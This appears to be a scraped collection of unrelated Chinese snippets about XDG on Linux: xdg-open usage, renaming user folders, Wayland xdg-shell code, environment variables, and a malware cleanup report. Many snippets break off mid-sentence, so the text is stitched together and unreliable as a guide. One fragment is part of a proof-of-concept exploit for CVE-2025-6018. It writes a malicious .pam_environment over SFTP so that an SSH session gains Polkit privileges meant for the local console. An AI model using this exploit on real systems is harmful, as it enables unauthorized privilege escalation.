xdg-open 在 shell 命令行可以快速打开某个文件, 类似于 windows 下双击快速打开某个文件 安装 $ sudo apt install xdg-utils 使用 xdg-open URL 打开本地文件 $ xdg-open ~/Public/vless-xtls-client.json 如果 URL 为文件路径, 则使用对应文件类型的默认应用打开 打开文件管理应用 $ xdg-open ~/Public 如果 URL 为目录路径, 则使用文件管理应用打开该目录 访问网络 $ xdg-open https://baidu.com 如果 URL 为网络地址, 则使用默认浏览器打开 查询默认关联应用 命令查询 $ file -i vless-xtls-client.json vless-xtls-client.json: application/json; charset=us-ascii 使用 xdg-mime query filetype xxx 命令查询 $ xdg-mime query filetype vless-xtls-client.json application/json 查询 application
为什么要介绍 xdg-open 呢,得先从需求说起。 一般在控制台中,可以使用命令操作各式文本文件。但难以避免,需要操作一些非文本文件,如 pdf,doc 等。 其实可以不选择,因为掌握了xdg-open之后,上面两种方式,就两者皆可抛了。 xdg-open用法非常简单,就直接参数传入要打开的文件,等效于鼠标双击打开,系统会根据文件类型自动调用对应的程序,如 xdg-open xxx.doc xdg-open xxx.pdf xdg-open xxx.png 如果传入路径的话,则是使用文件管理器打开 xdg-open . xdg-open ~/Downloads 还可以传入网址 xdg-open www.google.com 一招鲜吃遍天 ,但讲道理 xdg-open 还是比较难输入的,为了更顺手,可以考虑添加适合自己的alias,比如我就添加了 alias dakai='xdg-open' alias 打开='xdg-open' 拼音中文双管齐下
struct xdg_surface *xdg_surface = xdg_wm_base_get_xdg_surface(xdg_wm_base, surface); struct xdg_toplevel : xdg_wm_base_get_xdg_surface(xdg_wm_base, surface):通过 xdg_wm_base 请求一个 xdg_surface,并把它和已有的 surface 绑定 然后调用 xdg_wm_base_get_xdg_surface(wm_base, wl_surface) 得到 xdg_surface。 将 xdg_surface 提升为顶层窗口 (xdg_toplevel) 使用 xdg_surface_get_toplevel(xdg_surface) 得到 xdg_toplevel。 *xdg_surface = xdg_wm_base_get_xdg_surface(wm_base, surface); struct xdg_toplevel *toplevel = xdg_surface_get_toplevel
*xdg_wm_base; struct xdg_surface *xdg_surface; struct xdg_toplevel *xdg_toplevel; struct 通过xdg-shell将表面设置为toplevel窗口 state.xdg_surface = xdg_wm_base_get_xdg_surface(state.xdg_wm_base, state.surface /stable/xdg-shell/xdg-shell.xml xdg-shell-protocol.c 生成的 xdg-shell-client-protocol.h 和 xdg-shell-protocol.c *xdg_wm_base; struct xdg_surface *xdg_surface; struct xdg_toplevel *xdg_toplevel; // << ) xdg_toplevel_destroy(state.xdg_toplevel); if (state.xdg_surface) xdg_surface_destroy(state.xdg_surface
解决措施: 通过修改 ~/.config/user-dirs.dirs 中的XDG_DESKTOP_DIR来重新指定系统文件夹: # This file is written by xdg-user-dirs-update a shell-escaped # homedir-relative path, or XDG_xxx_DIR="/yyy", where /yyy is an # absolute path. No other format is supported. # XDG_DESKTOP_DIR="$HOME/Desktop" XDG_DOWNLOAD_DIR="$HOME/Downloads" XDG_TEMPLATES_DIR ="$HOME/Template" XDG_PUBLICSHARE_DIR="$HOME/Public" XDG_DOCUMENTS_DIR="$HOME/Documents" XDG_MUSIC_DIR ="$HOME/Music" XDG_PICTURES_DIR="$HOME/Pictures" XDG_VIDEOS_DIR="$HOME/Videos" 如果在家目录下不存在这些文件夹,可以在终端中执行
包含应该在(应用程序)重新启动之间保持的XDG_STATE_HOME状态数据,但对于用户来说,它应该存储在XDG_DATA_HOME. 这通常不是问题,但 XDG_DATA_DIRS定义优先顺序的基本目录集以搜索除 XDG_DATA_HOME基本目录之外的数据文件。 XDG_CONFIG_DIRS定义优先顺序的基本目录集以搜索除 XDG_CONFIG_HOME基本目录之外的配置文件。 由 定义的基本目录XDG_DATA_HOME被认为比由 定义的任何基本目录更重要XDG_DATA_DIRS。 由 定义的基本目录XDG_CONFIG_HOME被认为比由 定义的任何基本目录更重要XDG_CONFIG_DIRS。 XDG_CACHE_HOME定义相对于应该存储用户特定的非必要数据文件的基本目录。
示例 dai@ubuntu:~$ env USER=dai XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0 XDG_SEAT_PATH SSH_AUTH_SOCK=/run/user/1000/keyring-6YCIFa/ssh DEFAULTS_PATH=/usr/share/gconf/ubuntu.default.path XDG_CONFIG_DIRS =/etc/xdg/xdg-ubuntu:/usr/share/upstart/xdg:/etc/xdg PATH=/usr/local/arm/arm-2009q3/bin:/usr/local/sbin /usr/bin PWD=/home/dai HOME=/home/dai UPSTART_EVENTS=started starting LOGNAME=dai QT4_IM_MODULE=xim XDG_DATA_DIRS =/run/user/1000 DISPLAY=:0 XDG_CURRENT_DESKTOP=Unity GTK_IM_MODULE=ibus LESSCLOSE=/usr/bin/lesspipe %
方法2: sudo vim ~/.config/user-dirs.dirs 将如下 XDG_DESKTOP_DIR="$HOME/桌面" XDG_DOWNLOAD_DIR="$HOME/下载" XDG_TEMPLATES_DIR ="$HOME/模板" XDG_PUBLICSHARE_DIR="$HOME/公共" XDG_DOCUMENTS_DIR="$HOME/文档" XDG_MUSIC_DIR="$HOME/音乐" XDG_PICTURES_DIR ="$HOME/图片" XDG_VIDEOS_DIR="$HOME/视频" 修改为如下,然后保存重启即可 XDG_DESKTOP_DIR="$HOME/Desktop" XDG_DOWNLOAD_DIR ="$HOME/Downloads" XDG_TEMPLATES_DIR="$HOME/Templates" XDG_PUBLICSHARE_DIR="$HOME/Public" XDG_DOCUMENTS_DIR ="$HOME/Documents" XDG_MUSIC_DIR="$HOME/Music" XDG_PICTURES_DIR="$HOME/Pictures" XDG_VIDEOS_DIR="$HOME
startplasma-x11" > ~/.xsessionD=/usr/share/plasma:/usr/local/share:/usr/share:/var/lib/snapd/desktopC=/etc/xdg /xdg-plasma:/etc/xdgC=${C}:/usr/share/kubuntu-default-settings/kf5-settingscat <<EOF > ~/.xsessionrcexport XDG_SESSION_DESKTOP=KDEexport XDG_DATA_DIRS=${D}export XDG_CONFIG_DIRS=${C}EOFsudo systemctl enable
systemctl --user start docker 开机启动 sudo loginctl enable-linger $(whoami) 将docker host加入到环境变量中 # 获取当前用户XDG \_RUNTIME\_DIR echo $XDG\_RUNTIME\_DIR # 将下面两行加入到.bashrc或者.zshrc中,具体看用的哪种shell # run/user/1000 为echo $XDG\_RUNTIME\_DIR的结果 export PATH=/usr/bin:$PATH export DOCKER\_HOST=unix:///run/user/1000 在iterm上 [image-20220427213948405] 在vscode terminal上 [image-20220427214104155] 在vscode terminal $XDG_RUNTIME_DIR **为空**,这里没有再深入去看什么原因,而我已在之前的设置中将$XDG_RUNTIME_DIR替换为实际的结果run/user/1000 DOCKER_HOST没有生效 在vscode docker的上下文配置中
精准环境变量注入undefined通过用户可控的~/.pam_environment文件注入XDG_SEAT=seat0与XDG_VTNR=1,欺骗systemd会话管理器,使远程SSH会话被识别为本地控制台会话 注入的XDG_SEAT和XDG_VTNR变量使systemd误判会话类型,从而授予本应仅限于物理控制台的Polkit权限。 ssh_client): """ 写入恶意.pam_environment文件 效果:将当前SSH会话伪装为tty1上的seat0活动会话 """ payload = """XDG_SEAT =seat0XDG_VTNR=1# 此文件由安全研究工具生成,用于演示CVE-2025-6018""" sftp = ssh_client.open_sftp() with sftp.open /XDG_VTNR environment variables") # 部分系统需要重新登录使配置生效 ssh_client.exec_command('kill -HUP $(pgrep
/.config/MySoft.ini (Qt for Embedded Linux: $HOME/Settings/MySoft.ini) for each directory <dir> in $XDG_CONFIG_DIRS : <dir>/MySoft/Star Runner.ini for each directory <dir> in $XDG_CONFIG_DIRS: <dir>/MySoft.ini 注意:如果没有设置 XDG_CONFIG_DIRS 值,则使用 /etc/xdg 作为默认值 macOS(10.2 和 10.3) $HOME/Library/Preferences/com.MySoft.Star Runner.plist
添加配置 unset DBUS_SESSION_BUS_ADDRESS unset XDG_RUNTIME_DIR 3. 添加配置文件 vim ~/.xsessionrc 添加: export GNOME_SHELL_SESSION_MODE=ubuntu export XDG_CURRENT_DESKTOP=ubuntu :GNOME export XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg 2.
将个人文件夹下文件夹名改为英文 ~ 目录下的「桌面」和「文档」等文件夹是中文,在 Terminal 下输入很不方便,将其改为英文的方法: 打开 ~/.config/user-dirs.dirs,将其中的中文改掉: XDG_DESKTOP_DIR ="$HOME/desktop" XDG_DOWNLOAD_DIR="$HOME/downloads" XDG_TEMPLATES_DIR="$HOME/templates" XDG_PUBLICSHARE_DIR ="$HOME/public" XDG_DOCUMENTS_DIR="$HOME/documents" XDG_MUSIC_DIR="$HOME/music" XDG_PICTURES_DIR="$HOME /pictures" XDG_VIDEOS_DIR="$HOME/videos" 在文件管理器中将 HOME 目录下的中文文件夹名改成与上面的配置对应。
安全设备告警 2024-10-20 20:53:31,牧云HIDS检测到服务器存在恶意文件/etc/pm/ /z 登录牧云HIDS,发现共4个恶意文件 1、/etc/pm/' '/z 2、/etc/xdg 在执行恶意程序/etc/pm/ /z,需kill掉该连接的进程并删掉恶意程序 /etc/pm/目录、/etc/pm/' '/z文件 Kill掉恶意进程,删掉恶意程序 3.3 删除告警相关恶意程序 /etc/xdg /' '/.cm/z /etc/xdg/目录 /etc/xdg/' '/.cm/mig文件、/etc/xdg/' '/.cm/z文件 删除恶意程序 3.4 删除告警相关恶意程序 /etc/udev/'
sudo netease-cloud-music QStandardPaths: XDG_RUNTIME_DIR not set, defaulting to ‘/tmp/runtime-root’ 05 sudo netease-cloud-music QStandardPaths: XDG_RUNTIME_DIR not set, defaulting to ‘/tmp/runtime-root’ 05 Player opening 已杀死 方法三: sudo pkill -9 netease-cloud 这个是方法二的延伸版本 sudo netease-cloud-music QStandardPaths: XDG_RUNTIME_DIR
Content-Type: text/plain; charset=UTF-8 Auto-Submitted: auto-generated Precedence: bulk X-Cron-Env: <XDG_SESSION_ID =3138> X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0> X-Cron-Env: <LANG=en_US.UTF-8> X-Cron-Env: <SHELL=/bin Content-Type: text/plain; charset=UTF-8 Auto-Submitted: auto-generated Precedence: bulk X-Cron-Env: <XDG_SESSION_ID =3279> X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0> X-Cron-Env: <LANG=en_US.UTF-8> X-Cron-Env: <SHELL=/bin
lxdm显示管理器中的选项“LXDE”对应/etc/xdg/lxsession/LXDE/目录。 在这个目录里有一个autostart文件。它决定了选择lxde时启动的程序。 root@ip:~# cat /etc/xdg/lxsession/LXDE/autostart @lxpanel --profile LXDE @pcmanfm --desktop --profile
使用Node在浏览器打开某个网页,其实就是使用子进程来用命令行打开网页链接就可以了,需要注意的是Mac系统使用的是open命令,Windows系统使用的是start命令,Linux等系统使用xdg-open Windows使用start case "win32": child_process.spawn('start', [url]); break; // Linux等使用xdg-open default: child_process.spawn('xdg-open', [url]); } }; openURL("https://www.kai666666.top
先将语言修改为英文: # 将语言修改为英文 export LANG=en_US 然后更新用户目录: # 更新用户目录 xdg-user-dirs-gtk-update 这个时候,会提示是否要将用户目录下的文件夹改为英文 选择是,然后再将系统语言刷到中文: # 将语言调为中文 export LANG=zh_CN.UTF-8 再执行更新用户目录命令: xdg-user-dirs-gtk-update 再次输入上面的命令会提示是否改为中文